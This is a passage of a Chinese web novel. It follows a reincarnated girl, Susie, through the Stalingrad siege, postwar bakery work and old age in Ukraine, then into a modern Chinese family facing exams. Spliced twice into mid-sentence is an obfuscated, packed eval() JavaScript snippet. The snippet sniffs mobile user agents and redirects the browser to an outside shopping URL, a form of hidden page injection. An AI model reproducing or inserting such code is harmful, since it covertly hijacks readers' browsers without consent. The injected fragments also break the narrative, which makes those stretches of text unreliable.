岛上的凌晨并不需要棉裤,此时苏茜拼命回想有没有秋裤这码事。结论是有,城里但大部分穿着高跟靴和裙子的女士打死不穿,再冷也是裤袜、裙子和貂皮——她们现在应该都死得差不多了。至于从小要求她穿裙子的母亲,估计还活着吧。 白天的时候,苏茜想起应该还有一发子.弹,认真地架起木仓,完全凭感觉去估算风向距离,然后瞄准一棵树树干上的一块凸起,射击。瞄准镜里,那个凸起出现一块伤痕。打中了!再扣扳机,哦,没子.弹了。 填弹。 苏茜照那个靶子又开了五木仓,打中四木仓。那是一百多米的目标,没有望远镜瞄准镜都看不清楚,说明自己的木仓法有进步。即使达不到狙击手级别,可她离得近,打得狠,战果还是可圈可点的,是吧! 苏茜美滋滋地打开稀少的金木仓鱼罐头庆祝一下,还挖了几种贝壳烤着吃。很久之前吧,她将吃剩下的贝壳晒干打成细粉作为过滤池里的材料,一直用到现在仍然很好用。现在因为没有方便的工业机器,也懒得收集,贝壳等无法做肥料的硬质物直接扔回捕鱼的海域。 入冬季节的渔获过得去,供应她一个人吃的蛋白质是够了。岛上从来没有下过雪,最冷的两三天也就是凌晨有些薄霜。 现实世界已经下雪了。 苏茜并不在意雪地里的脚印。印记突然消失才有趣不是吗?五点的时候天就黑了,尤其是下雪天更早,甚至白天都像傍晚那样暗沉。 雪也不是一直下。 在难得看到人影时,苏茜果断开木仓。 两木仓,一死一伤。 跑! 躲! 砰!转身消失在断壁后回岛的苏茜,惊恐地发现斗篷的腋下位置多了个洞。 好险!她完全不知道如果自己受了木仓伤怎么办,也许给自己一木仓?然后下一世的自己就会在岛上看到自己的骨架……呃,画面太美,不敢想象。 这记惊吓,让苏茜躲了好几天。主要原因是经期不太规律,这次有些晚了,但身体状况还行。尽管饮食单调、生活刺激,但每天平均练武修炼四五个小时,对体质有明显的提升作用,也更不怕冷了。即使没有修为,岛上稀少的灵气对身体依旧是很有利的。 六点,准备好木仓、望远镜,苏茜犹豫了一下,再带上匕.首。 一出来就是惊悚画面! 面前背对着她有两个人! 两木仓! 放倒! 闪人! 这次非常肯定是身体主要部位,即使不是心脏也会是肺部,能不能救回来都是问题,更不要说重新投入战斗——现在已经剩下不到一百天,对方肯定无法再战。 这回苏茜真的惊到了,蛰伏了一周才敢出来。 可惜,出来后一个人也没有。也许白天有人?但白天会有对方的狙击手、也有己方的人,她如果大变活人不是会震惊到双方! 11月中的伏尔加河附近,夜风非常冷,如果没有百货公司弄的橄榄油、能吹出裂纹,拿来抹脸和手脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082762|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样不会冻出问题来。她努力辨认着残存建筑的式样,回忆着街道位置情况,终于花了三个晚上、七八个小时时间,回到自己家。厨房还在,没有人的痕迹但附近的墙上似乎有弹孔。 苏茜在厨房铺了块旧毯子,再在周边转了一圈,在隔壁楼发现另一处倒塌墙板废墟自然形成的三角形庇护所。她将一点点东西、一些木头、两条旧毯子放在这个小空间里,再用残砖搭了个小炉,还用雪加热了一小壶水。效果不错。 又放了一大瓶打开过的伏特加在隔墙废墟角落,接着是半包面粉和十几个罐头分别放在另一栋楼的两个小空间……途径的一些明显是军人尸.体则是用帆布袋反套着直接抛.尸,他们的木仓支甚至棉靴都没了。 做完这些早晨五点多,天色仍然黑着。她正要回岛睡觉,突然听到密集的炮声。 那是!自家援军!她激动无比地回去洗手洗脸,吃点东西泡澡睡觉,大了一码的靴子直接用清水刷两下算是清洗过了。 没有鸟鸣,更无木仓炮,这一觉睡到下午。起来正要预热炉子,但一时改了主意。苏茜用非常原始的烤制法,做好发酵,将抹了菜籽油的面团放在火边直接烤。效果当然非常差,石头一样的硬块放在热茶里一会儿形成面糊才能吃,但这是一种食物来源的说法。接着她又试验了烤包子,就是一点面团拉开,放些罐头食品,然后用面皮包好,抹上菜籽油放在石板上用明火烤,试验了两次终于得到一款吃着还行的食物! 菜籽油和大半瓶橄榄油都放厨房角角落。 这段间的夜晚,苏茜就没有见过敌军,也没看见自己人。也许这跟周边废墟密布、道路狭窄,难以行走更无法开车有关。 接下来她冒险白天也出现在厨房,仍然不见自己人的影子,也没有敌军经过。这让她有些泄气。 太冷了,白天最高温度也是零下。她干脆躲回岛上享受零度以上的“温暖”。 11月底时,苏茜出现在厨房,然后听到远处,德语!不少人!所以立马躲了。 12月初,没有下雪,但地面有积雪,万籁俱寂。附近一圈都没有脚印。苏茜走了一圈,自己放在各个角落的物资没有动过,就回岛了。12月中再出来,机关木仓声并不是很远,更远处有炮声。 苏茜缩了回去。 相信这个时候,严寒和物资紧缺已经要了敌军的命,她就不需要去当什么孤胆英雄了。她去寻找瓦列里大叔说的防空洞,但他指的位置被一大片废墟盖住了。她试着接近,立刻退走。即使冬天,那股隐隐的腐臭味说明底下没有活人了。 思索了两天,又拼命翻阅编年史,苏茜推测如果往河岸的方向应该可以找到自己人,可,她会被当成活靶子被紧张过度的援兵乱木仓打死吧? 所以她将物资都拿回来,打包放在自家厨房,然后人躲回岛上,每晚出来看看情况,掸掸灰尘。 新年过后——没人过圣诞节和元旦——木仓炮声密集起来。苏茜拿出来一袋面粉和十个罐头放进山洞,同时还拿了一袋土豆放进自家厨房。 烤土豆她在行。就是厨房里没有烤炉,可小砖炉的使用技巧是有的。 1月中还是月底的一个晴朗午后,大概“升温”到零度左右,但风依旧吹,很冷很冷。苏茜抱着一支木仓——没有瞄准镜的那支——守着两盒子.弹,突然听到俄语交谈声。 俄语!她跳起来,活人吔! “有人吗?”她躲在墙后喊了一声。十五岁女孩的嗓子在风雪天里照样具有穿透力。 静默几秒,立刻有人答话,“有人!有人在?” “有人活着?!” 好几个士兵“翻山越岭”地跑过来,先是被黑洞洞的木仓口吓一跳,然后看见个蓬头垢面的人朝他们招手!“要吃烤土豆吗?” 小炉子里“烤”着的土豆,稍微有一点点夹生,但热乎乎的。 “太好了!终于看到自己人了!”苏茜咧嘴笑。 “您能活着非常不容易了!” “啊哈哈哈,我还炸掉一辆敌人的坦克!还打死过两个敌人!”苏茜得意洋洋地递来一个黑乎乎的陶杯,里面是温热的雪水。“最底下有些杂质,不要喝啊。我这里还有一杯。” “谢谢!您真是慷慨!”热水哦,多少日子没吃过了,平时解渴甚至解饥就是抓一把雪。 “我这不是得救了嘛!我邻居们都死了!我们经理也找不到了。我领了木仓和子.弹,还有反坦克手雷,本来想一命换一命的,现在居然活着!真是太好了,或者真的太好。”苏茜的高兴不是假的。能活着干嘛要轰轰烈烈啊。 几个月不跟人说话,她发音都不太利索了。也许是太冷的关系,总觉得腮帮子和舌头僵硬。 “看到您有木仓我就放心了。”几个战士交换了下眼色。“您可以点火取暖,不用担心被敌人找到。” “我之前都有住地窖,可惜正好看见敌人,开了两木仓,只能放弃。后来我发现那里被炸塌了——”苏茜比划着,顿了下,“能活着就好不是吗?大家都死了……” 她没有眼泪。而且这种天气流泪对脸皮太不友好了。 “能活着就好。”另一个年纪略大的战士拍拍她的脑袋。 “子.弹够吗?” “还有几十发!”苏茜从身后的帆布里摸出来两个明显破损的子.弹盒。 “好,我们很快就胜利了!”几个战士身无长物,道了谢背起木仓就走了。 那是半自动吧?!苏茜羡慕地看着那木仓,也明白除非入伍,否则不可能得到。 缩回去,等了会儿,赶紧回岛找出砍得有些乱七八糟的木头点起来。厨房到客厅之间有一个放箱子和杂物的凹处,她用来当壁炉了,再将两处风口用帆布挡挡,算是一个不会冻死的避风港。另外其他的木头也塞在各个第一眼不会看到的角落,再在小花园里,嗯,刨开一个旱厕吧。 土豆到处塞。火边烤的硬面包和烤包子上场。不过她自己喝的水依旧是岛上的。这样熬了五夜四天,苏茜觉得好不容易养好的体质又要差回去时,有移动大喇叭报告胜利了的消息。 没有人出来欢呼。废墟和废墟底下的残骸一片寂静。筋疲力尽的苏茜也只有力气微笑。不过她还是走出来,跟宣传队的女兵们拥抱。大家都脏兮兮臭烘烘,不用互相伤害。 整个战争,大概只有他们是唯一女兵真正参与打仗的国家,从飞行员到狙击手,从助理炮手到通信兵,甚至连前线战壕里都有女兵的身影。大概只有坦克里没有女兵的尸.体。 35.我和我的城(四) 幸存的苏珊娜-米哈伊尔洛夫娜-齐明娜炸过坦克,连开两木仓打死两个敌军的的消息传播度不低。后来还有幸存的狙击手说夜里听到好几回连续开两木仓,到2月的时候,已经有军官来找过她,报了击毙两名敌军、炸毁一辆坦克的战功。 这个时候她仍然在自家厨房,睡在分给她的帐篷里,还有一小瓶伏特加和不少起码比烤硬面包好吃点的黑面包。 “我还有不少土豆,还有两袋面粉。能撑三个月。”苏茜只要了脸盆和香皂,还有牙膏牙刷毛巾卫生纸这些“必需品”,把后勤军官感动得差点掉眼泪。 幸存的平民太少、太少了,甚至还有战地记者来采访,于是女兵们七手八脚帮她洗刷一番、理个头发再换一身军用棉服。 十五岁的平民女英雄就成了战争里难得的好消息。 苏茜没去看俘虏转移的“实况”。“那些士兵都是被迫上战场的可怜平民,虽然我爸爸阵亡了,但我不怨恨他们个人。只有党.卫.军军官和他们的头儿才是喜欢战争的混蛋。”她这样对附近的幸存者说。 瓦列里大叔父女俩都没活下来。那个防空洞里死了十几个人。“都是我的邻居。”苏茜受不了地走开了,善后的老先生们沉默地将尸体运走集中处理。 “您的勇敢救了您。”一名年纪不小的民兵对她道。 “谢谢您的称赞。”苏茜觉得自己值得赞一声,因为她不仅毁了一辆坦克,还打死打伤起码二十个敌军——打伤的如果没有被被送到后方治疗,大概率活不到现在。所以除了厉害的狙击手和高射炮手,在所有活着的人里,她在伏尔加格勒战役里的实际战功应该算是很不错的。 而且靠作弊手段才活下来的。 真正的英雄都死了。 地下防空洞被废墟建材填满后就封闭了。相信没人乐意使用曾经“放置”过那么多尸.体的地方当储存食物的地窖。 城市各处的残骸都拉走烧了。这个城市里应该有好上百万尸.体吧?城外也有一百多万……趁天气冷还没有引起瘟疫,还是早点烧了吧! 苏茜不肯离开家,主要原因是真没地方住。援军大部队已经开拔。听说彼得堡那边也解围了,上百万军民是活活饿死的……而伏尔加格勒这边大多数是炸死、打死的。说实话,还是后者死得痛快一些吧。 不过她还是得离开家,因为大量人口包括士兵都需要面包。 大家都知道她是在面包店兼职,所以两名后勤女兵和她就成了唯二的面包师,连稀缺的电力都专门给她们拉了条电线,用来磨面粉与和面。城里活下来的平民大部分都是儿童,男人几乎都拉去当兵了,青壮妇女也有很多去当兵了,还有少量年老体弱的妇人,没有什么劳动力。磨面粉、和面这种事如果都是人力来做,做出来的面包都不够平民吃,更不要说被留下来充当守军的轻重伤员。 连轻伤都得站起来巡逻。 田地里要不是还有以前生产的拖拉机,得活活累死上百万当牛马犁地的女人。听说监狱里已经没有人了,狱警和犯人都去了战场。人力短缺如斯! 这两位女兵都快四十了,也就是图口饭吃才来当后勤兵,论战斗力绝对比不上苏茜。要不是苏茜年纪太小还立了功成为典型,也去前线了。 女兵们是主妇出身,对厨房确实是一把刷子,炉子用起来也很熟练,但只会烤列巴面包和黑面包,远不如苏茜有“手艺”。所以供应给伤员的食物多数是苏茜制作的,都加了比较紧缺的牛奶和黄油,时间火候跟硬面包还不一样,她还来个两次发酵两次烤制,要不是这样好吃的东西会扣下来一点三个人分着“做试验”,她们对这样有些浪费的行为都要发火了。 这个小饼干真!好!吃! “苏珊娜,我再吃一块,一块就好。”安娜实在忍不住地舔了舔手指头,好像好酥,就是不够甜。 “再一人一块,我要吃。”苏茜理直气壮得很。剩下的黄油酥饼干正好将一个小盒子塞满。这铝制盒子还是后方送来的,什么印刷都没有,倒有个提手可以拎着。“瞧,不多不少。” “苏珊娜,你的手艺真好。”波利娜也暗暗舔手指头。两年没吃过这么好吃的东西了。 “我们以前的经理布拉莫夫是专门学过的。”虽然她的手艺与布拉莫夫无关。一直没见到他,说明人已经没了。另两位店员同样没了,亦或者他们去前线没了。 “你们店里一共几个人啊?” “战前最多的时候六个。后来一个参军,一个去了后方,还有经理和两个员工,我。现在就剩我一个了。”去后方的那个想回来估计也不行,因为那时不许后退的命令已经下达,胆敢违抗的话不是死就是送去西伯利亚。嗯,如果对方敢回来被她看见,也会作证对方跑路的时间的。 “不知道我这份工作能做多久。”今年37岁的安娜嘀咕着。她的大儿子去年去了战场,女儿还没结婚在老家做工人,小儿子才9岁跟着她吃一口面包。 “这要看战况吧。”波利娜轻轻摇头。她的独生女儿也上战场了,所以38岁的她看起来不止45岁。 …… 安娜和波利娜可以做到退休,包括苏茜。一来对军队而言年纪偏大,二来城里严重缺乏劳动力。苏茜其实不到正式工年纪,但目前是战时,相信结束战时状态后她也到年龄了。 她们工作时间很长,从清晨五点一直做到晚上七点,没有工资,但是有配给可以领,都是按女工的待遇。虽然没有办手续,实际上安娜和波利娜已经转业了,等她们知道的时候,城里已经恢复了平静,就是自来水供暖等还早。 “关上门,好好休息。” “好的,再见。” “再见。” 苏茜就住在面包店后门的一个小隔间里。一块帆布,一张床单,三条毯子。由于靠近炉子,春寒料峭的天气里仍然很暖和,最重要的是有水。不是自来水,可为了食物干净每天都有水车加水,煮开后就能喝的那种。 苏茜一个人的时候当然不会喝水箱里的水,而是自己岛上的过滤雨水,同时还能在夜间给自己增加点维生素、微量元素和膳食纤维——几十公斤海带干,能吃很久。倒是平日里有配给的午餐肉罐头或者肉罐头,给女工们提供必需的蛋白质。大家都没钱、有钱也没有东西可以买,活人都只有配给本子。有鉴于个人偏好不同,自行交换谁也不管不着。 苏茜就把一个月一小瓶的伏特加、一包糖和一包香烟跟同事换了水果罐头,这些都是放在面包店里而非岛上的物资。此外,所以她用“储存”的两袋面粉跟安娜换了更多罐头,好给半大男孩多提供些热量。 面包店是匆匆忙忙新建的木头屋,屋顶质量不错,墙壁在遮风挡雨方面就差了些,在突如其来的降温时可以冻得人打哆嗦,一下雨还渗水。可屋子就是屋子,比破帐篷强不少。 周围农村的人□□着的都回了家,全部挤在一些还有墙壁的房子里,青壮妇女、牲畜和一些拖拉机是田地主力。冬小麦是别想了,国外援助的一些作物种子比如玉米种了不少。春耕用完的牛马立刻投入废墟清理之中。没有哪个大城市如伏尔加格勒有这样大的废墟面积和建筑垃圾。但其他地方本身的恢复都没有足够的人力物力,更不要说来支援,所以几万人、几千大牲口就这样一点点地将建材垃圾扔到山地峡谷,扒出来的残骸全部火化。连统计数量的人都没有,因为除了小娃娃真的没人手。 稍微大些的孩子都要在建筑工地上帮忙,顺便多领点食物。六十以上的老人此时都成了主力。 一直到当年冬天来临,苏茜家附近除了一些大型水泥块需要机械搬运,其他都平整了。附近树木也砍光了。 好在库尔斯克战役之后,战场形势好了些。尽管伤亡仍然以百万计,但后方的少年少女们一到年纪依旧踊跃报名参军。连伏尔加格勒都报名了几十个年纪十六七而自称十八岁的。 苏茜过了新年也没满十六周岁,且众人皆知,战争结束都不需要参军。自然两支木仓和剩余的子.弹也还给军队了,还收到一身作战棉服和一件军大衣作为奖励,衬衣毛衣棉衣裤加棉大衣,以苏茜的体质可以扛零下四十度。 新年的时候,苏茜相当意外地领到了保卫战役勋章,控制不住尖叫了会儿才平静。 颁勋章的年长军官好笑地拍拍她的肩,让她好好干,就找其他人发勋章去了。 这才是可以“流传千年”的东西!她小心放在山洞里钢柜抽屉里的珍贵纪念品盒子里。 安娜和波利娜当然没有勋章,但她们已经很满足了。尤其是波利娜,她的女儿还活着,因此现在干劲十足,做完回后勤营地宿舍,就想在战后新建的城市里分到一间套间——她家房子在乡下,连同留守的老人一起被坦克轰平了。 苏茜也不知道房子问题要怎么解决,但放眼望去,她的住宿条件在寒冬里算很好了。 这一年的夏季,他们的军队在付出巨大代价后收复了大部分领土。 城里街区已经全部清理掉了,还陆陆续续建起一些简易棚屋和木头房子,城郊一些地方还能看到新的地基。个别框架还存在的房子正在安装楼板、修理窗户,好早日启用。 几千幸存的平民尤其是小孩子,有一部分找到了父母或亲属,其他则在军官福利所的集体帐篷,估计这几年会陆陆续续找到活计独立生活。 苏茜在工作间隙,经常坐在门口,微笑着看外面每一天都有所变化的景象。物资供应好了很多,连黄油和茶叶都有了,不过她还有不少“存货”能够一天一杯奶茶,并且继续与同事们交换果蔬。 直到第二年,开始真正反攻时,面包店里的报纸每天都被翻得破烂,大家拼命问什么地名在哪里。 “胜利啦!我女儿能回来啦!”波利娜高兴地打开一瓶的伏特加,吨吨吨就喝了一半,然后蹲在地上大哭。 外头大片的笑声乐声和哭声。 苏茜微笑着,默默地将手里的伏特加全部喝光。好辣,好难喝!酒精和着水从眼角流下。之前自己经历过那么多战争,都是大量平民如蚂蚁一般死去。这次不一样,高尚军人们的热血都洒在这座城市里。 真好! 打完了。 她闭上眼,坐倒在吱嘎响的椅子上。 * * * 情绪大起大落加上酒精的结果是差点病倒。这时福利少女之一阿廖娜不知道怎么走的路子,进入了面包坊工作。她比苏茜还小两岁,军官烈士家庭,纯种俄族。最后一条秒杀犹.太.人苏茜。所以后者笑眯眯地、毫无保留地教给阿廖娜面包店各种“技术”。 “苏珊娜,你为什么对她那么好?”难道你们是失散的姐妹?不是吧,两个人的气氛可不能亲密无间。 “就是,你才是元老不是吗?!” 两位大妈对苏茜的感情是很不错的。 “未来让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086363|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当经理啊,否则我妈妈回来叫我搞定她和弟弟的工作问题,也许还有她跟其他男人生的孩子、或者还有她的新男友的孩子的工作,我怎么办?”苏茜两手一摊,“我妈妈是个不讲道理,只顾自己欲.望和情绪的人。”如果看到她穿长裤不戴头巾不餐前祷告什么的,一定大发雷霆。 “你已经成年了。” “她都不一定活着。” “她应该还活着。可我仍然是她的财产,如果我不顺从她会大闹地让我失去工作,只能回家跪求她的原谅。”还会以犹.太教规要求女儿,但从不要求自己和儿子。“不行,我得找个机会离开这里。” 每天从早到晚的工作,居住条件又这么糟,她都没空回岛修炼,身体好不了,简直比西伯利亚还不如。 “您看我像个犹.太.人吗?” “不像。”长相差别很大。 “可我妈妈会坚持我是。”到时,呵呵。 “……好吧,不过你要做好艰苦的准备。”有城里的姑娘乐意“支援”建设,当然好啊。 “没有问题。西伯利亚都不怕。”再差也不会比路德米娜带着之前就被宠坏的弟弟以及其他新弟妹、或者还有新男友过来吃她的喝她的还横挑鼻子竖挑眼好。 最后苏茜被分去了乌.克.兰。 反.犹更剧烈的地方,但她的长相真的不像,是吧。 这时刚刚正式胜利。 火车到达的时候还是傍晚,苏茜迫不及待离开可怕的车厢。 新工作是食品相关,分早班和晚班,住房分配的是无厨卫单间。这里同样的缺青壮男人,所以苏茜以看过太多死人、对男女不感兴趣为由拒绝与其他姑娘“共享”什么。 即使一对一她也没兴趣好不好。 她有想过是一直呆在这里还是找机会向西,可与西边阵营隔着至少一个国家,根本不现实。算了,就这样吧。 嗯,先从当代乌语——她懂一些古代的——开始。 宗教什么的不用管,她无神论一点不突兀。每天修炼、练武、工作、洗睡,不喝酒、不抽烟、不化妆、不赌博、不交友,除了拒绝穿裙子有些奇怪,生活总体平静规律。 而且从没生过病,感冒都不曾有。 “我的钱都花在吃的和保暖上面。”在还没有恢复供暖的时代大量买煤,有暖气后就买棉衣。木头木炭之类还是要买的,她得自己煮茶煮咖啡之类,都是在小小房间里自己解决。 “能吃掉你的所有工资吗?”同事们难以置信。她们的钱花在老少男人和孩子身上了。 “咖啡、茶叶、牛奶、水果和水果罐头、蔬菜罐头,都不便宜呢。”即使面包和工作餐都买现成的,但还是有不少餐得自己准备。“我每天都要吃一个水果或者一个水果罐头,还有牛肉罐头,我觉得可能是充足的维生素和棉衣让我更健康。” “……” 水果罐头比牛肉还贵呢,她宁愿多买支口红。 而苏茜,习惯了这种规律。 这一习惯就是三十多年,终于熬到退休! 太不容易了。 菲薄的退休金、破败的老公寓,一点没有让她不平衡。这里是农业区,吃食供应再紧张也紧张不到她头上。 通货膨胀也不会对她有什么影响。 她之前的现金除了吃和棉衣就是持续买燃料,将燃料小山洞和地下室全部填满的时候才罢手。之后就是买各种不锈钢和陶瓷物品。渔网钓竿小船木桨梯子这类“必需品”在退休前就买好了。 没有家要养活的情况下,很多东西可以提前囤积。 而经济停滞、通货膨胀逐步加码的时候,国民移居政策放宽了。 苏茜犹豫了下,没动什么脑筋。这个身体已经习惯了此时此地的气候、饮食,没必要在解体前匆匆忙忙往外跑。 就是吧,这点数额不变的退休金购买力越来越差。她干脆和其他前同事一样不交暖气费了。 老公寓如同被时光遗忘的旧址,没有维修、没有物业、甚至一半人家因为交费不足而停了电。于是他们私接电——还好没有连累苏茜交电费。 看在交不起电费的人家也没啥电器的份上,苏茜没多计较。她也不去公厕和公用厨房,平时保持闭门不出、敲门不应的状态,大部分时间都在岛上延长自己健康的寿命。 很快的,大家的退休金只能买饿不死的麦面包了。 苏茜则是在城里而非旧工厂区买面粉食材,直接回岛上做吃喝。反正没有监控,就是大变活人了。 黄金此时是硬通货。 “我去城里做厨娘。”苏茜坦然答道。“即使我拿过战斗勋章,可人总要活下去不是吗。” 楼上的楼上的邻居跳楼了。没有人送葬,这些老同事们沉默的签字收尸。最后停尸费火葬费还是正好回家的苏茜出的,墓地就别想了。记载里的一段话,活生生到了眼前却是另一番感触。 其他人沉默。他们拉不下这个脸,也找不到这样的活计。还不如死了算了。 公寓彻底停电。 苏茜再也没回过这个如墓地般的老公寓。 在出国旅游放开后,她就去北美,申请了买房加捐赠入籍加勒比岛国,住在富裕社区的公寓,在当地人菜场买菜,只用基本简单电器节约电,连洗衣机都用自己岛上的淡水,出行自行车,日常T恤中裤,哦,还能买到华国黄酒去腥,真是太美好了不是。 36.种菜要专业(一) 我爱和平! 我恨高考! 在高考之前是中考。 苏茜很久、很久没有做过题了,能有千年了?之前还是大地震加战争甚至家里“柔弱”的母亲、阵亡的父亲和天天喊饿的弟妹,最重要的是全家在1945年的广岛,而她甚至连翻找通史的时间机会都没有,所以干脆躺平,在一个夏日早晨“如愿”了。 于是有了这次的“觉醒”,自己在悲催的初二暑假,接下来一直得念四年的应试教育。 四年啊!比太平洋战争还漫长……呃,不,还是和平年代好点,哪怕没时间修炼、没钱买东西、没得海鲜吃,几乎时时刻刻都活在别人眼皮子底下,以及第一眼看上去跟天书一样的符号。但是没有灾难、饥荒、混乱和战争,已经很好了。 她瞪着还算“简单”的几何题,想着更加陌生的物理题,略绝望。初二的自己成绩一般,中等班五十人能考进二十名就算超常发挥了,看着中考真题集当然是懵的。 “小健,小茜,下来吃西瓜。” “好。” “好啊!” 秦家在顶楼,“赠送”三十多平米的“阁楼”。阁楼分成两个房间,都没有阳台。苏茜和大两岁的哥哥秦健一人一间,可惜现在空调贵得离谱,房间里只有吊扇——顶楼的夏季真是够呛。 楼下是八十平米的两室两厅,外公外婆一间,父母一间,六口人在连厨房的大客厅里还是活动得开的。 “来来,快吃。今天的西瓜是沙瓤,特别甜。”苏家艮对念重点高中的外孙和跟自己姓的外孙女疼得跟左右眼珠子一样,完全做到一碗水端平。确切的说,成绩一般的苏茜能获得与哥哥相同的宠爱大半得益于她的姓氏。 坐下,苏茜将大的那块塞给秦健,自己拿小的那块。倒不是她谦让,而是晚上吃太多西瓜会胖。自己已经有些超重了。 敞开的窗户底下,隐隐传来读书声。硬邦邦干巴巴,用接近文言文的调调读英文小说节选,怎么听怎么奇怪的“读书声”。 “他有毛病,晚上出来喂蚊子。”秦健皱眉。他最近听妹妹放的磁带,非常舒适的发音,虽然听不太懂,但对耳朵还是挺友好的。 “只要我们没有毛病就行了。”苏茜好声好气地劝他。经过那么多的战乱和盗匪,和平时期她的脾气超级好。唯一纠结的是这里太靠近汶川,好在现在距离大地震还有不少年头。要不自己去学个地震专业?可是,有学校招这个专业的本科生吗?专科?以自己眼下的成绩,专科的可能性很大。但,她是苏茜本苏,怎么可以成绩太差?尤其百分制的英语居然只有82分,这是开玩笑吧! “人家在认真读书,考试能考九十几。小健,你应该好好学学!你期末才多少分?能考上什么学校?”苏辰娟拿出正科级气势,毫不留情地碾压。 英语没上过89分的秦健熄火。要是对方与自己不是一个学校还可以推到考试难易上,可问题是楼下这个神经病跟自己同校同年级不同班啊啊啊! 初二英语才82分的苏茜三两口吃完第二片更小的瓜,一抹嘴,“我去做题了。” “嗯,我也背单词去。” 兄妹两个怏怏地上楼。 “孩子已经很努力了,现在放暑假呢还每天晚上做题不出去玩。”能让苏辰娟熄火的也就是平时不多说话的她老爸苏家艮了,连她老妈俞凤英有时都搞不定。 “就是放暑假才盯着他们。平时他们学校功课那么多,我都说不上话。”家里还是出得起两个大学生的学费生活费的,可问题是也得他们考上啊。 “我看小茜这段时间开始认真了。每天六点不到就起来跑步,晚上要做题目到十点。” “她的成绩……直升高中部应该没问题。他们学校的中等成绩应该能考个大专。我就希望她安安稳稳的。” “大专也不错,念个实用的,出来不愁找不到工作。”家里存在感略低的秦国栋道。他自己是退伍转业,但从不要求儿女也从军,尤其儿子还是近视,想参都没法参。 “现在连大学生都不包分配了吗?”俞凤英忧心忡忡。 “录取率高了,当然学费涨了,也不包分配了。爱上不上。可不上大学根本找不到好一点的工作。”秦国栋用老太太能理解的语言解释着。他自己父母都已过世、叔伯从不往来,而岳父母一直帮着带孩子、做家务还不用女儿女婿养老和付医药费,女儿姓岳父的姓真的无所谓,儿子姓苏都可以。“您看,连房子都是自己买,更不要说其他。放心,有我在,小健和小茜肯定能过下去。” “没事,我也知道没事。”苏家和俞家都是本地人,不缺房子,苏家有两套拆迁“小”房子,还有两间分配后买下的老公寓,加上现在这一百多平米,俩孩子怎么都能把日子过下去。 楼上无比痛苦地做着题的苏茜根本不知道老人们的盘算,她如果知道的话会立刻绞尽脑汁让家人把房子卖了,因为她不清楚这座城市、这些房子能不能扛过地震,最可怕的是她那不知道准不准确的记载只有地震日期却没有具体时间!如果还是记载的那一年,父母退休了吗?掰着手指头算一算——她爹娘结婚比较晚,除非天降大雷他们都能连升三级,不然应该已经退休了。唯一需要祈祷的是地震日期不要提前。 “你明年中考的时候应该不考那些副科吧?”秦健开学是重点班高二,压力很大,上不了顶尖学府但普通本科应该能上,但也没妹妹这么夸张。尤其是她还看一大堆高中作文书和外语“原文”书,开玩笑的吧! “对。不过毕业考是要考的。”苏茜把所有的零花钱都买书了,导致只能天天“蹭听”她哥的体育主题歌。问题是这家伙不会意语去听意语歌干嘛?明明最近的世界杯主题歌有英语版,难道是因为英格兰队没有他喜欢的球星? “理化的总分要提高,所以你这么用功?”作为高二“大哥”,他居然看不太懂妹妹的“外语书”,简直不可思议。 “是啊!”最恐怖的是,她自己刷本市和其他地区往年中考英语题,作文之外居然扣了八分!更不要说其他科目,统统低于80!这啥玩意?不拼死看书做题练习,她的脸往哪搁? 哦,竹排江中游,是以竹排为参照物的……她写了江水…… 秦健摇摇头回房间。在这热.辣的季节、热.辣的城市顶楼躺下酝酿睡意。 苏茜做到十点多才下楼去个卫生间后回房间,换一盘蚊香然后睡觉。 有抽水马桶,她才不想回岛上露天呢。唯一不爽的就是风扇不够凉,而不锁门的话她不可能回岛上享受凉快的夏夜。除了房门和卫生间门,家里其他房间门从来不锁,使得她只有去卫生间的时候才匆匆回一趟自己的小岛整理替换——其实比1945年广岛的时候强多了。 起码她能用意语唱唱歌,而不是被有毛病的家人整死。 “Notti magiche……”秦健在妹妹的“好心”注音下学会了心爱的主题曲,天天走调地高歌,不过太过分的时候会被妹妹用《我的太阳》暴击。 苏茜这辈子的嗓音条件不错。在开学前一晚,她手持歌词卡,为全家献唱重回索伦托,差点引来邻居敲门,也让秦健再不敢在家高歌意大利之夏。 * * * “这次的卷子不作为学期成绩,但是需要拿回家让家长签字。”班主任的一句话,让暑假过完刚刚进入状态的学生们哀嚎一片。 这个黑色星期四,五门考试科目同时出了难度超过上学期期末考试的卷子,作为学生收骨头的有效手段。周五下午最后一节自习课,由班主任拿来,各科课代表们分发给学生,好在没有在讲台上一个个念成绩——太多了,也太难看了。 “你的英语这次比我高!”同桌田颖毓差点尖叫。而且是高了六分啊六分!平时她都是比苏茜高大概三分的。 “我物理比你差。”因为一个月的时间太过有限,自己在这门课努力不够。 “作文你扣了几分?”本来物理自己能比苏茜高十分,现在?啥,五分?太过分了! “四分。”语文尤其是作文一时没有提高的法子,还好英语作文没扣分,不然她会气得昏过去。 “哦。”田颖毓作文少扣一分、填空少扣两分,但阅读理解多扣三分,最终语文成绩一样。可这是更可怕了,“你数学居然比我高!”一分。 “总分还是没有你考得好。好了,赶紧回家。天要下雨了。”幸好下课铃声响起来的时候田颖毓的大嗓门才爆发,不然苏茜会头疼。她这同桌性情不错,就是说话有时控制不了音量,可如果唱歌又唱不上去,只适合摆摊吆喝。还有,这次她俩分数好像是齐平的,但愿现在对方别发现。 